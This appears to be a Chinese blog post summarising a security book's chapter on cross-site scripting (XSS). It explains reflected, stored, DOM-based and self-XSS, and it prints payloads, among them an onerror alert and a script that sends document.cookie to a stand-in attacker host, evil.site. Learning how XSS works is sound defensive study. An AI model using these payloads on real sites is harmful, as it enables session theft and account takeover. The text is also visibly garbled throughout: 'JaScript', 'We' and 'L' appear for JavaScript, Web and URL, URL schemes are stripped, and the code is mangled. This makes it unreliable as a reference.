xss到底是怎么攻击的?
零、摘要
本文为《白帽子We讲安全(第2版)》——跨站脚本攻击章节的阅读总结及摘录,详述了XSS跨站脚本攻击的定义及其相关的攻击与防御方案。
一、XSS攻击简介
跨站脚本攻击的英文全称是Cross-SiteScripting,为了与S有所区别,因此缩写为“XSS”由于同源策略的存在,攻击者或者恶意的JaScript代码没有办法直接获取用户在其它的信息,<>但是如果攻击者有办法把恶意的JaScript代码注入目标的页面中执行,他就可以直接访问页面上的信息,或者发送请求与服务端交互,达到跨域访问的目的>,这便是XSS攻击。XSS攻击本质上是一种注入类型的攻击在正常情况下,We应用只会执行应用内预定义的JaScript代码来实现应用自身的功能;如果应用对外部输入参数处理不当,攻击者可将恶意JaScript代码注入当前We页面,一旦受害者访问这些页面,攻击者注入的恶意代码就将开始执行。最开始,这种攻击是让目标站点加载另一个恶意站点的脚本,因此称为“跨站脚本”攻击,但是后来这个定义的范围逐渐扩展,凡是可以往目标站点注入脚本的攻击行为都可以称为跨站脚本攻击。
<>当外部恶意代码被注入正常应用的页面后,浏览器无法区分它是应用自身的代码还是外部注入的代码,这些恶意代码拥有与当前页面正常JaScript脚本一样的权限,例如读/写Cookie、读/写页面内容、发送请求,因此XSS攻击能实现非常强大的攻击作,如窃取会话密钥凭证信息、读取网页上的敏感数据、以受害者身份执行恶意作等。>
二、XSS攻击基础类型介绍
2.1与服务端应用的处理逻辑相关联的XSS攻击
2.1.1反射型XSS攻击
反射型XSS攻击是最常见的一种XSS攻击类型。反射型XSS攻击指的是:<>服务端应用在收到客户端的请求后,未对请求中的参数做合法性校验或安全过滤,直接将参数用于构造HTML页面并返回给浏览器显示。如果参数中包含恶意脚本,就会以HTML代码的形式被返回给浏览器执行>。因此,这一类攻击被称为反射型XSS攻击(ReflecedXSS)。举例如下在做查询时,用户需要提交查询,而这个又显示在查询结果页面中,如果服务端应用未对做相应的安全校验和过滤,则可能存在XSS漏洞。
最常见的反射型XSS攻击方式是:攻击者将恶意代码包含在L参数中,但是攻击者需要诱导受害者“点击”这个恶意L,攻击才能成功。<>反射型XSS攻击也叫做“非持久型XSS(Non-PersistentXSS)攻击”,因为用于攻击的Payload没有持续存储在服务端应用中,每次实施攻击时都需要让受害者访问带Payload的L。>
2.1.2存储型XSS攻击
在存储型XSS攻击中,服务端应用将攻击者提交的恶意代码存储在服务端,受害者每次访问一个“干净”的L时,服务端就在响应页面中嵌入之前存储的恶意代码,这些恶意代码将在受害者客户端执行。由于不需要受害者的请求中夹带恶意代码,因此这种XSS攻击更加稳定,危害性也更大。存储型XSS攻击举例如下假设一个博客存在存储型XSS漏洞;攻击者撰写一篇包含恶意JaScript代码的博客文章并发表至博客;待包含恶意JaScript代码的文章发表之后,所有访问了该博客文章的用户,其浏览器都会执行这段恶意的JaScript代码,攻击者便顺利实施了存储型XSS攻击。
存储型XSS攻击通常也叫做“持久型XSS(PersistentXSS)攻击”,因为一旦恶意代码被植入,在服务端清除恶意代码或修复相关功能之前,其攻击效果都是持续存在的。
2.2与前端处理逻辑相关联的XSS攻击
2.2.1基于DOM的XSS攻击
正常应用中的JaScript代码可以接受外部的输入数据并直接在客户端渲染执行,如果处理不当,它就有可能将外部数据当作JaScript代码来执行,因而产生XSS漏洞。基于DOM的XSS攻击定义:<>客户端的JaScript脚本在修改和构造当前页面的DOM节点时触发恶意代码执行>而非“服务端直接返回恶意代码给客户端执行”,这种攻击方式叫做基于DOM的XSS攻击,下面举例说明
<divid="L"></div>
<script>
document.getElementyId('L').innerHTML=decodeI(location.href);//location.href用于返回当前显示的文档的L
</script>
//构造的当前页面的L如下:
://localhost:8000/domxss.html?<imgsrc=0onerror="alert("XSS")">
//因此,受害者访问该L后,由于载入图像失败,因此触发onerror事件,执行L中指定的JaScript弹窗代码(弹窗中显示“XSS”)。
上述案例与反射型XSS有本质区别再次强调!反射型XSS能成功是因为:服务端对客户端输入的数据处理存在逻辑漏洞;基于DOM的XSS攻击能成功是因为:前端JaScript代码存在漏洞而非服务端程序的漏洞。如上述案例中,document.getElementyId('L').innerHTML=decodeI(location.href);代码将本文档的L嵌入到HTML页面中,却并没有考虑L本身的安全性,这便是一个前端JaScript代码的漏洞,因而给基于DOM的XSS攻击提供了机会。
2.3利用工程学的XSS攻击
2.3.1Self-XSS攻击
Self-XSS严格来说不算是We应用漏洞,因为攻击者没有办法直接将恶意代码注入页面,而是利用工程学欺骗用户,让用户自己去复制恶意代码并粘贴到浏览器中,因此被称为Self-XSS攻击。
三、XSS攻击进阶
3.1XSSPayload简介
我们将攻击者植入的恶意代码称为XSSPayload,本质上,它就是一段JaScript代码,且由于XSSPayload和应用自身的JaScript代码在同一个执行环境中,所以正常应用能做的事情都能通过XSSPayload实现。最常见的XSSPayload是通过读取浏览器的Cookie对象从而发起“Cookie”攻击。We应用通常使用Cookie作为用户的身份凭证;如果一个用户的Cookie被攻击者获取,意味着攻击者获取了该用户的身份,<>即攻击者无需使用账号和密码,直接通过Cookie就可以登陆用户的账户>;
在之前的实例中,payload是直接写在L中的,为了实现更为复杂的攻击逻辑,可以将payload放在一个JaScript文件中,然后通过<script>标签载入,这样就能避免在L的参数中写入大量的JaScript代码,示例如下
//构造的L
'://localhost:8000/echo.php?name=<scriptsrc="://evil.site/evil.js"></script>'
//evil.js文件
varimg=newImage();//使用new关键字实例化一个Image对象并使用“img”名称指代该实例。
img.src='://evil.site/log?cookie='+encodeIComponent(document.cookie);
/*
目标:获取“受害者在当前前端页面中的cookie信息”
1.受害者访问攻击者构造的L;
2.受害者浏览器接收到服务端发回的HTML源码,由于受害者前端页面JaScript代码存在漏洞(如:将L作为HTML中内容返回),因此攻击者构造的L被嵌入受害者前端HTML页面中,又由于攻击者构造的L中存在JaScript代码,因此受害者浏览器执行该恶意代码;
3.L中的<script>标签指定使用的JaScript代码来自://evil.site/evil.js;
4.://evil.site/evil.js文件中,JaScript代码在受害者前端页面中构造了一个Image实例,同时将获取该图像数据的源指定为恶意站点evil.site;
5.在受害者的前端页面试图向攻击者指定的恶意站点索要图像数据时,恶意JaScript代码要求受害者必须携带受害者当前前端页面的cookie信息;
6.受害者前端执行该恶意JaScript代码后,恶意站点成功获取受害者在当前前端页面中的cookie信息;
7.攻击者获取Cookie后,便可以受害者的身份访问目标应用;
*/